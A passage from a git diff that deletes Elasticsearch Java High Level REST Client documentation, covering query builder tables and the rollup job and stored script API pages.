-| {ref}/query-dsl-geo-polygon-query.html[Geo Polygon]                 | {query-ref}/GeoPolygonQueryBuilder.html[GeoPolygonQueryBuilder]                     | {query-ref}/QueryBuilders.html#geoPolygonQuery-java.lang.String-java.util.List-[QueryBuilders.geoPolygonQuery()]
-|======
-
-==== Specialized queries
-[options="header"]
-|======
-| Search Query                                                        | QueryBuilder Class | Method in QueryBuilders
-| {ref}/query-dsl-mlt-query.html[More Like This]                      | {query-ref}/MoreLikeThisQueryBuilder.html[MoreLikeThisQueryBuilder]                 | {query-ref}/QueryBuilders.html#moreLikeThisQuery-org.elasticsearch.index.query.MoreLikeThisQueryBuilder.Item:A-[QueryBuilders.moreLikeThisQuery()]
-| {ref}/query-dsl-script-query.html[Script]                           | {query-ref}/ScriptQueryBuilder.html[ScriptQueryBuilder]                             | {query-ref}/QueryBuilders.html#scriptQuery-org.elasticsearch.script.Script-[QueryBuilders.scriptQuery()]
-| {ref}/query-dsl-percolate-query.html[Percolate]                     | {percolate-ref}/PercolateQueryBuilder.html[PercolateQueryBuilder]                   |
-| {ref}/query-dsl-wrapper-query.html[Wrapper]                         | {query-ref}/WrapperQueryBuilder.html[WrapperQueryBuilder]                           | {query-ref}/QueryBuilders.html#wrapperQuery-java.lang.String-[QueryBuilders.wrapperQuery()]
-| {ref}/query-dsl-rank-feature-query.html[Rank Feature]               | {mapper-extras-ref}/RankFeatureQuery.html[RankFeatureQueryBuilder]                  |
-| {ref}/query-dsl-pinned-query.html[Pinned Query]                     | The PinnedQueryBuilder is packaged as part of the xpack-core module                 |
-|======
-
-==== Span queries
-[options="header"]
-|======
-| Search Query                                                        | QueryBuilder Class | Method in QueryBuilders
-| {ref}/query-dsl-span-term-query.html[Span Term]                     | {query-ref}/SpanTermQueryBuilder.html[SpanTermQueryBuilder]                         | {query-ref}/QueryBuilders.html#spanTermQuery-java.lang.String-double-[QueryBuilders.spanTermQuery()]
-| {ref}/query-dsl-span-multi-term-query.html[Span Multi Term]         | {query-ref}/SpanMultiTermQueryBuilder.html[SpanMultiTermQueryBuilder]               | {query-ref}/QueryBuilders.html#spanMultiTermQueryBuilder-org.elasticsearch.index.query.MultiTermQueryBuilder-[QueryBuilders.spanMultiTermQueryBuilder()]
-| {ref}/query-dsl-span-first-query.html[Span First]                   | {query-ref}/SpanFirstQueryBuilder.html[SpanFirstQueryBuilder]                       | {query-ref}/QueryBuilders.html#spanFirstQuery-org.elasticsearch.index.query.SpanQueryBuilder-int-[QueryBuilders.spanFirstQuery()]
-| {ref}/query-dsl-span-near-query.html[Span Near]                     | {query-ref}/SpanNearQueryBuilder.html[SpanNearQueryBuilder]                         | {query-ref}/QueryBuilders.html#spanNearQuery-org.elasticsearch.index.query.SpanQueryBuilder-int-[QueryBuilders.spanNearQuery()]
-| {ref}/query-dsl-span-or-query.html[Span Or]                         | {query-ref}/SpanOrQueryBuilder.html[SpanOrQueryBuilder]                             | {query-ref}/QueryBuilders.html#spanOrQuery-org.elasticsearch.index.query.SpanQueryBuilder-[QueryBuilders.spanOrQuery()]
-| {ref}/query-dsl-span-not-query.html[Span Not]                       | {query-ref}/SpanNotQueryBuilder.html[SpanNotQueryBuilder]                           | {query-ref}/QueryBuilders.html#spanNotQuery-org.elasticsearch.index.query.SpanQueryBuilder-org.elasticsearch.index.query.SpanQueryBuilder-[QueryBuilders.spanNotQuery()]
-| {ref}/query-dsl-span-containing-query.html[Span Containing]         | {query-ref}/SpanContainingQueryBuilder.html[SpanContainingQueryBuilder]             | {query-ref}/QueryBuilders.html#spanContainingQuery-org.elasticsearch.index.query.SpanQueryBuilder-org.elasticsearch.index.query.SpanQueryBuilder-[QueryBuilders.spanContainingQuery()]
-| {ref}/query-dsl-span-within-query.html[Span Within]                 | {query-ref}/SpanWithinQueryBuilder.html[SpanWithinQueryBuilder]                     | {query-ref}/QueryBuilders.html#spanWithinQuery-org.elasticsearch.index.query.SpanQueryBuilder-org.elasticsearch.index.query.SpanQueryBuilder-[QueryBuilders.spanWithinQuery()]
-| {ref}/query-dsl-span-field-masking-query.html[Span Field Masking]   | {query-ref}/FieldMaskingSpanQueryBuilder.html[FieldMaskingSpanQueryBuilder]         | {query-ref}/QueryBuilders.html#fieldMaskingSpanQuery-org.elasticsearch.index.query.SpanQueryBuilder-java.lang.String-[QueryBuilders.fieldMaskingSpanQuery()]
-|======
diff --git a/docs/java-rest/high-level/rollup/delete_job.asciidoc b/docs/java-rest/high-level/rollup/delete_job.asciidoc
deleted file mode 100644
index 22b8787799a..00000000000
--- a/docs/java-rest/high-level/rollup/delete_job.asciidoc
+++ /dev/null
@@ -1,36 +0,0 @@
---
-:api: rollup-delete-job
-:request: DeleteRollupJobRequest
-:response: DeleteRollupJobResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Delete Rollup Job API
-
-experimental::[]
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Delete Rollup Job API allows you to delete a job by ID.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The ID of the job to delete.
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates if the delete command was received.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Whether or not the delete job request was received.
-
-include::../execution.asciidoc[]
-
-
diff --git a/docs/java-rest/high-level/rollup/get_job.asciidoc b/docs/java-rest/high-level/rollup/get_job.asciidoc
deleted file mode 100644
index 5ed65ebfaec..00000000000
--- a/docs/java-rest/high-level/rollup/get_job.asciidoc
+++ /dev/null
@@ -1,74 +0,0 @@
-[role="xpack"]
-[[java-rest-high-x-pack-rollup-get-job]]
-=== Get Rollup Job API
-
-experimental::[]
-
-The Get Rollup Job API can be used to get one or all rollup jobs from the
-cluster. It accepts a `GetRollupJobRequest` object as a request and returns
-a `GetRollupJobResponse`.
-
-[[java-rest-high-x-pack-rollup-get-rollup-job-request]]
-==== Get Rollup Job Request
-
-A `GetRollupJobRequest` can be built without any parameters to get all of the
-rollup jobs or with a job name to get a single job:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RollupDocumentationIT.java[x-pack-rollup-get-rollup-job-request]
---------------------------------------------------
-<1> Gets all jobs.
-<2> Gets `job_1`.
-
-[[java-rest-high-x-pack-rollup-get-rollup-job-execution]]
-==== Execution
-
-The Get Rollup Job API can be executed through a `RollupClient`
-instance. Such instance can be retrieved from a `RestHighLevelClient`
-using the `rollup()` method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RollupDocumentationIT.java[x-pack-rollup-get-rollup-job-execute]
---------------------------------------------------
-
-[[java-rest-high-x-pack-rollup-get-rollup-job-response]]
-==== Response
-
-The returned `GetRollupJobResponse` includes a `JobWrapper` per returned job
-which contains the configuration of the job, the job's current status, and
-statistics about the job's past execution.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RollupDocumentationIT.java[x-pack-rollup-get-rollup-job-response]
---------------------------------------------------
-<1> We only asked for a single job
-
-[[java-rest-high-x-pack-rollup-get-rollup-job-async]]
-==== Asynchronous Execution
-
-This request can be executed asynchronously:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RollupDocumentationIT.java[x-pack-rollup-get-rollup-job-execute-async]
---------------------------------------------------
-<1> The `GetRollupJobRequest` to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `GetRollupJobResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RollupDocumentationIT.java[x-pack-rollup-get-rollup-job-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
diff --git a/docs/java-rest/high-level/rollup/get_rollup_caps.asciidoc b/docs/java-rest/high-level/rollup/get_rollup_caps.asciidoc
deleted file mode 100644
index f4c9240f781..00000000000
--- a/docs/java-rest/high-level/rollup/get_rollup_caps.asciidoc
+++ /dev/null
@@ -1,85 +0,0 @@
---
-:api: rollup-get-rollup-caps
-:request: GetRollupCapsRequest
-:response: GetRollupCapsResponse
---
-[role="xpack"]
-[id="{upid}-x-pack-{api}"]
-=== Get Rollup Capabilities API
-
-experimental::[]
-
-The Get Rollup Capabilities API allows the user to query a target index pattern (`logstash-*`, etc)
-and determine if there are any rollup jobs that are/were configured to rollup that pattern.
-The API accepts a `GetRollupCapsRequest` object as a request and returns a `GetRollupCapsResponse`.
-
-[id="{upid}-x-pack-{api}-request"]
-==== Get Rollup Capabilities Request
-
-A +{request}+ requires a single parameter: the target index or index pattern (e.g. `logstash-*`):
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[x-pack-{api}-request]
---------------------------------------------------
-
-[id="{upid}-x-pack-{api}-execution"]
-==== Execution
-
-The Get Rollup Capabilities API can be executed through a `RollupClient`
-instance. Such instance can be retrieved from a `RestHighLevelClient`
-using the `rollup()` method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[x-pack-{api}-execute]
---------------------------------------------------
-
-[id="{upid}-x-pack-{api}-response"]
-==== Response
-
-The returned +{response}+ holds lists and maps of values which correspond to the capabilities
-of the target index/index pattern (what jobs were configured for the pattern, where the data is stored, what
-aggregations are available, etc).  It provides essentially the same data as the original job configuration,
-just presented in a different manner.
-
-For example, if we had created a job with the following config:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[x-pack-{api}-setup]
---------------------------------------------------
-
-The +{response}+ object would contain the same information, laid out in a slightly different manner:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[x-pack-{api}-response]
---------------------------------------------------
-
-[id="{upid}-x-pack-{api}-async"]
-==== Asynchronous Execution
-
-This request can be executed asynchronously:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[x-pack-{api}-execute-async]
---------------------------------------------------
-<1> The +{request}+ to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for +{response}+ looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[x-pack-{api}-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
diff --git a/docs/java-rest/high-level/rollup/get_rollup_index_caps.asciidoc b/docs/java-rest/high-level/rollup/get_rollup_index_caps.asciidoc
deleted file mode 100644
index 2e08409d1e2..00000000000
--- a/docs/java-rest/high-level/rollup/get_rollup_index_caps.asciidoc
+++ /dev/null
@@ -1,86 +0,0 @@
---
-:api: rollup-get-rollup-index-caps
-:request: GetRollupIndexCapsRequest
-:response: GetRollupIndexCapsResponse
---
-[role="xpack"]
-[id="{upid}-x-pack-{api}"]
-=== Get Rollup Index Capabilities API
-
-experimental::[]
-
-The Get Rollup Index Capabilities API allows the user to determine if a concrete index or index pattern contains
-stored rollup jobs and data.  If it contains data stored from rollup jobs, the capabilities of those jobs
-are returned. The API accepts a `GetRollupIndexCapsRequest` object as a request and returns a `GetRollupIndexCapsResponse`.
-
-[id="{upid}-x-pack-{api}-request"]
-==== Get Rollup Index Capabilities Request
-
-A +{request}+ requires a single parameter: the target index or index pattern (e.g. `rollup-foo`):
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[x-pack-{api}-request]
---------------------------------------------------
-
-[id="{upid}-x-pack-{api}-execution"]
-==== Execution
-
-The Get Rollup Index Capabilities API can be executed through a `RollupClient`
-instance. Such instance can be retrieved from a `RestHighLevelClient`
-using the `rollup()` method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[x-pack-{api}-execute]
---------------------------------------------------
-
-[id="{upid}-x-pack-{api}-response"]
-==== Response
-
-The returned +{response}+ holds lists and maps of values which correspond to the capabilities
-of the rollup index/index pattern (what jobs are stored in the index, their capabilities, what
-aggregations are available, etc).  Because multiple jobs can be stored in one index, the
-response may include several jobs with different configurations.
-
-The capabilities are essentially the same as the original job configuration, just presented in a different
-manner. For example, if we had created a job with the following config:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[x-pack-{api}-setup]
---------------------------------------------------
-
-The +{response}+ object would contain the same information, laid out in a slightly different manner:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[x-pack-{api}-response]
---------------------------------------------------
-
-[id="{upid}-x-pack-{api}-async"]
-==== Asynchronous Execution
-
-This request can be executed asynchronously:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[x-pack-{api}-execute-async]
---------------------------------------------------
-<1> The +{request}+ to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for +{response}+ looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[x-pack-{api}-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
diff --git a/docs/java-rest/high-level/rollup/put_job.asciidoc b/docs/java-rest/high-level/rollup/put_job.asciidoc
deleted file mode 100644
index b43f257937c..00000000000
--- a/docs/java-rest/high-level/rollup/put_job.asciidoc
+++ /dev/null
@@ -1,175 +0,0 @@
-[role="xpack"]
-[[java-rest-high-x-pack-rollup-put-job]]
-=== Put Rollup Job API
-
-experimental::[]
-
-The Put Rollup Job API can be used to create a new Rollup job
-in the cluster. The API accepts a `PutRollupJobRequest` object
-as a request and returns a `PutRollupJobResponse`.
-
-[[java-rest-high-x-pack-rollup-put-rollup-job-request]]
-==== Put Rollup Job Request
-
-A `PutRollupJobRequest` requires the following argument:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RollupDocumentationIT.java[x-pack-rollup-put-rollup-job-request]
---------------------------------------------------
-<1> The configuration of the Rollup job to create as a `RollupJobConfig`
-
-[[java-rest-high-x-pack-rollup-put-rollup-job-config]]
-==== Rollup Job Configuration
-
-The `RollupJobConfig` object contains all the details about the rollup job
-configuration. See {ref}/rollup-put-job.html[create rollup job API] to learn more
-about the various configuration settings.
-
-A `RollupJobConfig` requires the following arguments:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RollupDocumentationIT.java[x-pack-rollup-put-rollup-job-config]
---------------------------------------------------
-<1> The name of the Rollup job
-<2> The index (or index pattern) to rollup
-<3> The index to store rollup results into
-<4> A cron expression which defines when the Rollup job should be executed
-<5> The page size to use for the Rollup job
-<6> The grouping configuration of the Rollup job as a `GroupConfig`
-<7> The metrics configuration of the Rollup job as a list of `MetricConfig`
-<8> The timeout value to use for the Rollup job as a `TimeValue`
-
-
-[[java-rest-high-x-pack-rollup-put-rollup-job-group-config]]
-==== Grouping Configuration
-
-The grouping configuration of the Rollup job is defined in the `RollupJobConfig`
-using a `GroupConfig` instance. `GroupConfig` reflects all the configuration
-settings that can be defined using the REST API. See {ref}/rollup-put-job.html#rollup-groups-config[Grouping config]
-to learn more about these settings.
-
-Using the REST API, we could define this grouping configuration:
-
-[source,js]
---------------------------------------------------
-"groups" : {
-  "date_histogram": {
-    "field": "timestamp",
-    "calendar_interval": "1h",
-    "delay": "7d",
-    "time_zone": "UTC"
-  },
-  "terms": {
-    "fields": ["hostname", "datacenter"]
-  },
-  "histogram": {
-    "fields": ["load", "net_in", "net_out"],
-    "interval": 5
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-Using the `GroupConfig` object and the high level REST client, the same
-configuration would be:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RollupDocumentationIT.java[x-pack-rollup-put-rollup-job-group-config]
---------------------------------------------------
-<1> The date histogram aggregation to use to rollup up documents, as a `DateHistogramGroupConfig`
-<2> The terms aggregation to use to rollup up documents, as a `TermsGroupConfig`
-<3> The histogram aggregation to use to rollup up documents, as a `HistogramGroupConfig`
-<4> The grouping configuration as a `GroupConfig`
-
-
-[[java-rest-high-x-pack-rollup-put-rollup-job-metrics-config]]
-==== Metrics Configuration
-
-After defining which groups should be generated for the data, you next configure
-which metrics should be collected. The list of metrics is defined in the `RollupJobConfig`
-using a `List<MetricConfig>` instance. `MetricConfig` reflects all the configuration
-settings that can be defined using the REST API. See {ref}/rollup-put-job.html#rollup-metrics-config[Metrics config]
-to learn more about these settings.
-
-Using the REST API, we could define this metrics configuration:
-
-[source,js]
---------------------------------------------------
-"metrics": [
-    {
-        "field": "temperature",
-        "metrics": ["min", "max", "sum"]
-    },
-    {
-        "field": "voltage",
-        "metrics": ["avg", "value_count"]
-    }
-]
---------------------------------------------------
-// NOTCONSOLE
-
-Using the `MetricConfig` object and the high level REST client, the same
-configuration would be:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RollupDocumentationIT.java[x-pack-rollup-put-rollup-job-metrics-config]
---------------------------------------------------
-<1> The list of `MetricConfig` to configure in the  `RollupJobConfig`
-<2> Adds the metrics to compute on the `temperature` field
-<3> Adds the metrics to compute on the `voltage` field
-
-
-[[java-rest-high-x-pack-rollup-put-rollup-job-execution]]
-==== Execution
-
-The Put Rollup Job API can be executed through a `RollupClient`
-instance. Such instance can be retrieved from a `RestHighLevelClient`
-using the `rollup()` method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RollupDocumentationIT.java[x-pack-rollup-put-rollup-job-execute]
---------------------------------------------------
-
-[[java-rest-high-x-pack-rollup-put-rollup-job-response]]
-==== Response
-
-The returned `PutRollupJobResponse` indicates if the new Rollup job
-has been successfully created:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RollupDocumentationIT.java[x-pack-rollup-put-rollup-job-response]
---------------------------------------------------
-<1> `acknowledged` is a boolean indicating whether the job was successfully created
-
-[[java-rest-high-x-pack-rollup-put-rollup-job-async]]
-==== Asynchronous Execution
-
-This request can be executed asynchronously:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RollupDocumentationIT.java[x-pack-rollup-put-rollup-job-execute-async]
---------------------------------------------------
-<1> The `PutRollupJobRequest` to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `PutRollupJobResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/RollupDocumentationIT.java[x-pack-rollup-put-rollup-job-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
diff --git a/docs/java-rest/high-level/rollup/search.asciidoc b/docs/java-rest/high-level/rollup/search.asciidoc
deleted file mode 100644
index ac70ed742f1..00000000000
--- a/docs/java-rest/high-level/rollup/search.asciidoc
+++ /dev/null
@@ -1,47 +0,0 @@
---
-:api: search
-:request: SearchRequest
-:response: SearchResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Rollup Search API
-
-experimental::[]
-
-The Rollup Search endpoint allows searching rolled-up data using the standard
-query DSL. The Rollup Search endpoint is needed because, internally,
-rolled-up documents utilize a different document structure than the original
-data. The Rollup Search endpoint rewrites standard query DSL into a format that
-matches the rollup documents, then takes the response and rewrites it back to
-what a client would expect given the original query.
-
-[id="{upid}-{api}-request"]
-==== Request
-
-Rollup Search uses the same +{request}+ that is used by the <<{mainid}-search>>
-but it is mostly for aggregations you should set the `size` to 0 and add
-aggregations like this:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-NOTE:: Rollup Search is limited in many ways because only some query elements
-can be translated into queries against the rollup indices. See the main
-{ref}/rollup-search.html[Rollup Search] documentation for more.
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Response
-
-Rollup Search returns the same +{response}+ that is used by the
-<<{mainid}-search>> and everything can be accessed in exactly the same way.
-This will access the aggregation built by the example request above:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
diff --git a/docs/java-rest/high-level/rollup/start_job.asciidoc b/docs/java-rest/high-level/rollup/start_job.asciidoc
deleted file mode 100644
index 0e0fc073ac6..00000000000
--- a/docs/java-rest/high-level/rollup/start_job.asciidoc
+++ /dev/null
@@ -1,36 +0,0 @@
---
-:api: rollup-start-job
-:request: StartRollupJobRequest
-:response: StartRollupJobResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Start Rollup Job API
-
-experimental::[]
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Start Rollup Job API allows you to start a job by ID.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The ID of the job to start.
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates if the start command was received.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Whether or not the start job request was received.
-
-include::../execution.asciidoc[]
-
-
diff --git a/docs/java-rest/high-level/rollup/stop_job.asciidoc b/docs/java-rest/high-level/rollup/stop_job.asciidoc
deleted file mode 100644
index 9ebd97dc837..00000000000
--- a/docs/java-rest/high-level/rollup/stop_job.asciidoc
+++ /dev/null
@@ -1,41 +0,0 @@
---
-:api: rollup-stop-job
-:request: StopRollupJobRequest
-:response: StopRollupJobResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Stop Rollup Job API
-
-experimental::[]
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Stop Rollup Job API allows you to stop a job by ID.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The ID of the job to stop.
-<2> Whether the request should wait that the stop operation has completed
-before returning (optional, defaults to `false`)
-<3> If `wait_for_completion=true`, this parameter controls how long to wait
-before giving up and throwing an error (optional, defaults to 30 seconds).
-
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates if the stop command was received.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Whether or not the stop job request was received.
-
-include::../execution.asciidoc[]
-
-
diff --git a/docs/java-rest/high-level/script/delete_script.asciidoc b/docs/java-rest/high-level/script/delete_script.asciidoc
deleted file mode 100644
index 79b3b0b3247..00000000000
--- a/docs/java-rest/high-level/script/delete_script.asciidoc
+++ /dev/null
@@ -1,81 +0,0 @@
-[[java-rest-high-delete-stored-script]]
-
-=== Delete Stored Script API
-
-[[java-rest-high-delete-stored-script-request]]
-==== Delete Stored Script Request
-
-A `DeleteStoredScriptRequest` requires an `id`:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/StoredScriptsDocumentationIT.java[delete-stored-script-request]
---------------------------------------------------
-<1> The id of the script
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/StoredScriptsDocumentationIT.java[delete-stored-script-request-timeout]
---------------------------------------------------
-<1> Timeout to wait for the all the nodes to acknowledge the stored script is deleted as a `TimeValue`
-<2> Timeout to wait for the all the nodes to acknowledge the stored script is deleted as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/StoredScriptsDocumentationIT.java[delete-stored-script-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-<2> Timeout to connect to the master node as a `String`
-
-[[java-rest-high-delete-stored-script-sync]]
-==== Synchronous Execution
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/StoredScriptsDocumentationIT.java[delete-stored-script-execute]
---------------------------------------------------
-
-[[java-rest-high-delete-stored-script-async]]
-==== Asynchronous Execution
-
-The asynchronous execution of a delete stored script request requires both the `DeleteStoredScriptRequest`
-instance and an `ActionListener` instance to be passed to the asynchronous method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/StoredScriptsDocumentationIT.java[delete-stored-script-execute-async]
---------------------------------------------------
-<1> The `DeleteStoredScriptRequest` to execute and the `ActionListener` to use when
-the execution completes
-
-[[java-rest-high-delete-stored-script-listener]]
-===== Action Listener
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `DeleteStoredScriptResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/StoredScriptsDocumentationIT.java[delete-stored-script-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
-
-[[java-rest-high-delete-stored-script-response]]
-==== Delete Stored Script Response
-
-The returned `DeleteStoredScriptResponse` allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/StoredScriptsDocumentationIT.java[delete-stored-script-response]
---------------------------------------------------
-<1> Indicates whether all of the nodes have acknowledged the request
\ No newline at end of file
diff --git a/docs/java-rest/high-level/script/get_script.asciidoc b/docs/java-rest/high-level/script/get_script.asciidoc
deleted file mode 100644
index a38bdad2bd6..00000000000
--- a/docs/java-rest/high-level/script/get_script.asciidoc
+++ /dev/null
@@ -1,77 +0,0 @@
-[[java-rest-high-get-stored-script]]
-
-=== Get Stored Script API
-
-[[java-rest-high-get-stored-script-request]]
-==== Get Stored Script Request
-
-A `GetStoredScriptRequest` requires an `id`:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/StoredScriptsDocumentationIT.java[get-stored-script-request]
---------------------------------------------------
-<1> The id of the script
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/StoredScriptsDocumentationIT.java[get-stored-script-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-<2> Timeout to connect to the master node as a `String`
-
-[[java-rest-high-get-stored-script-sync]]
-==== Synchronous Execution
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/StoredScriptsDocumentationIT.java[get-stored-script-execute]
---------------------------------------------------
-
-[[java-rest-high-get-stored-script-async]]
-==== Asynchronous Execution
-
-The asynchronous execution of a get stored script request requires both the `GetStoredScriptRequest`
-instance and an `ActionListener` instance to be passed to the asynchronous method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/StoredScriptsDocumentationIT.java[get-stored-script-execute-async]
---------------------------------------------------
-<1> The `GetStoredScriptRequest` to execute and the `ActionListener` to use when
-the execution completes
-
-[[java-rest-high-get-stored-script-listener]]
-===== Action Listener
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `GetStoredScriptResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/StoredScriptsDocumentationIT.java[get-stored-script-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
-
-[[java-rest-high-get-stored-script-response]]
-==== Get Stored Script Response
-
-The returned `GetStoredScriptResponse` allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/StoredScriptsDocumentationIT.java[get-stored-script-response]
---------------------------------------------------
-<1> The script object consists of a content and a metadata
-<2> The language the script is written in, which defaults to `painless`.
-<3> The content of the script
-<4> Any named options that should be passed into the script.
\ No newline at end of file
diff --git a/docs/java-rest/high-level/script/put_script.asciidoc b/docs/java-rest/high-level/script/put_script.asciidoc
deleted file mode 100644
index acc80e82d11..00000000000
--- a/docs/java-rest/high-level/script/put_script.asciidoc
+++ /dev/null
@@ -1,106 +0,0 @@
-[[java-rest-high-put-stored-script]]
-=== Put Stored Script API
-
-[[java-rest-high-put-stored-script-request]]
-==== Put Stored Script Request
-
-A `PutStoredScriptRequest` requires an `id` and `content`:
-
-["source","java",subs="attributes,callouts,macros"]
